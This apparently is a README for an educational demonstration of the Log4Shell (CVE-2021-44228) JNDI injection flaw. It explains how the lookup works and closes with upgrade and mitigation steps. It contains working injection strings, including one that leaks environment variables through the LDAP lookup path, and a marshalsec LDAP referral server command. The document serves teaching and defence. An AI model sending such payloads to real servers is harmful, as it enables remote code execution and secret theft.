This is an example of exploiting CVE-2021-44228

A Log4J2 RCE vulnerability

I'm not responsible for this code. PLEASE do not use maliciously

CVE-2021-44228:
This vulnerability allows you to execute arbitrary code by logging a malicious message on the target machine.
For example, you can use it in Minecraft by sending a chat message, and the server/player machine will log the chat message and execute your code.
LiveOverflow/CVE-2021-44228 video

The message has to contain a placeholder ${} with instruction to load a remote object jndi API. It will load the object through an ObjectFactory

LDAP ldap://x.x.x.x:port/...
HTTP http://x.x.x.x/...
DNS dns://x.x.x/...
etc...

${jndi:ldap://127.0.0.1:1389/#}

If the ObjectFactory is not present in the client, it won't do anything.
Except for resolving the server.
With that, you can leak environment variables:

${jndi:ldap://127.0.0.1:1389/${env:java_home}}

What is this hype about this RCE?

why so overhyped?
If my understanding is correct it provides an interface to JNDI

What can be exploited

JNDI JDAP is an object lookup API.
You can get a Java object from a server.
marshalsec/LDAPRefServer
It sends Object data, and the ObjectFactory name, which should build the object on the client.
It can be exploited multiple ways.
If LDAP is enabled to trust external code, we only need to give the URL to a malicious ObjectFactory.
com.sun.jndi.ldap.object.trustURLCodebase = true
Or there is another Java vulnerability. JDK-8196902
Combined with that, it will really became an RCE.
Multiple POC repos do this on GitHub. For example tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

If this is set to false (by default it is set to false), we can look for an exploitable ObjectFactory in the target codebase,
Or exploit JNDI in a different way.

Further reading about JNDI Injection:
JNDI injection
Veracode Research/rogue-jndi

In the example:

RCEExample is a function what log the malicious message.
Just press run to run it...

LoggerFactory is an ObjectFactory what will log, whatever it gets...
If you build marshalsec, you can ask it to use LoggerFactory

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"
Run rce.RCEExample and see the exploit (the logger).
You can debug this project and place a breakpoint in LoggerFactory, see the objects.

Secure your program

Your program is not affected IF it does only log built-in messages.
If the program can log text from any data file, or from the network, it is vulnerable.
But you should fix it anyway...

The best, you can do, update to Log4J2 2.15.0+
If it is not possible for some reason, disable JNDI lookup by the following Java argument: ‐Dlog4j2.formatMsgNoLookups=True to mitigate the vulnerability.

If you're a Minecraft server administrator, follow the official guide: IMPORTANT MESSAGE: SECURITY VULNERABILITY IN JAVA EDITION